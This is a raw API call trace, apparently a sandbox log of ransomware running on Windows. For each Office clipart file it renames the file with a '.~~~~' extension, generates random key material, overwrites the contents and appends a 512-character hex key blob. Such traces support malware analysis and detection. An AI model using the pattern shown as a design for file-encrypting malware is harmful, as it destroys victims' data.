	[0115.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.~~~~")) returned 1
	[0115.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.252] GetLastError () returned 0x0
	[0115.252] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.253] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.253] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.254] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23524384523) returned 1
	[0115.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae31d730, dwHighDateTime=0x1d60e1e)) 
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a8e0
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a8e0 | out: hHeap=0x300000) returned 1
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afac0
	[0115.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.255] GetLastError () returned 0x0
	[0115.255] GetLastError () returned 0x0
	[0115.255] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.255] GetLastError () returned 0x0
	[0115.255] GetLastError () returned 0x0
	[0115.257] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.257] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1652, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1652, lpOverlapped=0x0) returned 1
	[0115.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.258] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.258] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.258] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.258] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.258] CloseHandle (hObject=0x11c) returned 1
	[0115.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.~~~~")) returned 1
	[0115.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.260] GetLastError () returned 0x0
	[0115.260] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.261] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.261] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.261] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23525154124) returned 1
	[0115.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae343890, dwHighDateTime=0x1d60e1e)) 
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a918
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a918 | out: hHeap=0x300000) returned 1
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afb58
	[0115.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.262] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.262] GetLastError () returned 0x0
	[0115.263] GetLastError () returned 0x0
	[0115.263] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.263] GetLastError () returned 0x0
	[0115.263] GetLastError () returned 0x0
	[0115.403] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe940, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.403] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x16c0, lpOverlapped=0x0) returned 1
	[0115.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.405] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.405] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.405] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.405] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.405] CloseHandle (hObject=0x11c) returned 1
	[0115.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.405] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.~~~~")) returned 1
	[0115.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.406] GetLastError () returned 0x0
	[0115.407] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.408] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.408] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.408] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23539855374) returned 1
	[0115.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae49a4f0, dwHighDateTime=0x1d60e1e)) 
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ab10
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ab10 | out: hHeap=0x300000) returned 1
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afbf0
	[0115.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.409] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.409] GetLastError () returned 0x0
	[0115.410] GetLastError () returned 0x0
	[0115.410] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.410] GetLastError () returned 0x0
	[0115.410] GetLastError () returned 0x0
	[0115.469] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.469] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x5cc, lpOverlapped=0x0) returned 1
	[0115.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.470] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.470] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.470] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.470] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.471] CloseHandle (hObject=0x11c) returned 1
	[0115.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.471] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.~~~~")) returned 1
	[0115.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.472] GetLastError () returned 0x0
	[0115.472] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.474] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.474] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.474] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23546400452) returned 1
	[0115.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae532a70, dwHighDateTime=0x1d60e1e)) 
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ac60
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ac60 | out: hHeap=0x300000) returned 1
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0148
	[0115.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.475] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.475] GetLastError () returned 0x0
	[0115.475] GetLastError () returned 0x0
	[0115.475] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.475] GetLastError () returned 0x0
	[0115.475] GetLastError () returned 0x0
	[0115.482] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc926, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.482] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x36da, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x36da, lpOverlapped=0x0) returned 1
	[0115.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.483] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.483] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.483] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.483] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.483] CloseHandle (hObject=0x11c) returned 1
	[0115.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.483] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.~~~~")) returned 1
	[0115.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.485] GetLastError () returned 0x0
	[0115.485] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.486] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.486] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.486] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23547647312) returned 1
	[0115.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae558bd0, dwHighDateTime=0x1d60e1e)) 
	[0115.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283acd0
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283acd0 | out: hHeap=0x300000) returned 1
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b04d8
	[0115.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.487] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.487] GetLastError () returned 0x0
	[0115.488] GetLastError () returned 0x0
	[0115.488] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.488] GetLastError () returned 0x0
	[0115.488] GetLastError () returned 0x0
	[0115.536] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe768, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.536] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1898, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1898, lpOverlapped=0x0) returned 1
	[0115.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.540] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.540] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
